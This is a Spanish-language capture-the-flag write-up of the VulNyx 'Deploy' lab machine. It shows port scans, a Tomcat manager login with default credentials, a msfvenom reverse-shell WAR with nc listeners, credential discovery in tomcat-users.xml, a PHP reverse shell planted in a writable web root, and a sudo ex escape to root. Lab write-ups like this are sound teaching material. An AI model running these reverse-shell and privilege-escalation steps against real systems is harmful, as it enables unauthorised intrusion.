VulNyx - Deploy

logo

  • Tomcat Missconfigured
  • Deploy War File
  • Abusing Ex Binary

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.121

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.121

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 hay un servidor apache por defecto.

apache

En el puerto 8080 hay un servidor apache tomcat.

apachetomcat

Al hacer click en manager webapp me sale un formulario para iniciar sesión.

logintomcat

Consigo conectarme con las credenciales por defecto tomcat:s3cret.

manager

Con msfvenom creo un archivo .war.

❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.18 LPORT=1234 -f war -o rs.war
Payload size: 1103 bytes
Final size of war file: 1103 bytes
Saved as: rs.war

Subo el archivo y le doy al botón desplegar.

uploader

Una vez subido puedo ver el archivo war en la parte de aplicaciones.

appsRS

Hago click en /rs y obtengo una shell como usuario tomcat.

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.121] 35808
id
uid=998(tomcat) gid=998(tomcat) grupos=998(tomcat)

Enumero usuarios del sistema.

tomcat@deploy:/$ cat /etc/passwd | grep "/bin/bash"

root:x:0:0:root:/root:/bin/bash
toor:x:1000:1000:toor,,,:/home/toor:/bin/bash
sa:x:1001:1001::/home/sa:/usr/bin/bash

En el archivo tomcat-users.xml ubicado en /etc/tomcat9/ encuentro las credenciales del usuario sa dentro de un comentario.

<?xml version="1.0" encoding="UTF-8"?>

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <user username="tomcat" password="s3cret" roles="manager-gui"/>
  <!-- <user username="sa" password="salala!!" roles="manager-gui"/> -->
</tomcat-users>

Me conecto al sistema como usuario sa.

❯ ssh sa@192.168.1.121
sa@192.168.1.121's password: 
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
sa@deploy:~$ 

Veo que tengo permisos en /var/www/html.

sa@deploy:~$ ls -la /var/www/html
total 20
drwxrwxrwx 2 www-data www-data  4096 may 11 00:32 .
drwxrwxrwx 3 www-data www-data  4096 may 10 22:11 ..
-rwxrwxrwx 1 www-data www-data 10701 may 10 22:11 index.html

Me descargo esta shell y la subo a la máquina objetivo.

sa@deploy:/var/www/html$ ls -l
total 24
-rwxrwxrwx 1 www-data www-data 10701 may 10 22:11 index.html
-rw-r--r-- 1 sa       sa        3536 jun 20 20:38 rs.php

Uso curl para mandar una petición a la shell.

curl http://192.168.1.121/rs.php

Recibo la shell como usuario toor.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.121] 51828
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 GNU/Linux
 20:39:17 up 51 min,  1 user,  load average: 0.00, 0.00, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
sa       pts/1    192.168.1.18     20:32   50.00s  0.02s  0.02s -bash
uid=1000(toor) gid=1000(toor) groups=1000(toor)

Enumero permisos de sudo.

toor@deploy:/$ sudo -l

Matching Defaults entries for toor on deploy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User toor may run the following commands on deploy:
    (root) NOPASSWD: /usr/bin/ex

Obtengo el root usando el recurso de gtfobins.

sudo ex
:!/bin/bash
root@deploy:~# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Deploy.

Saludos!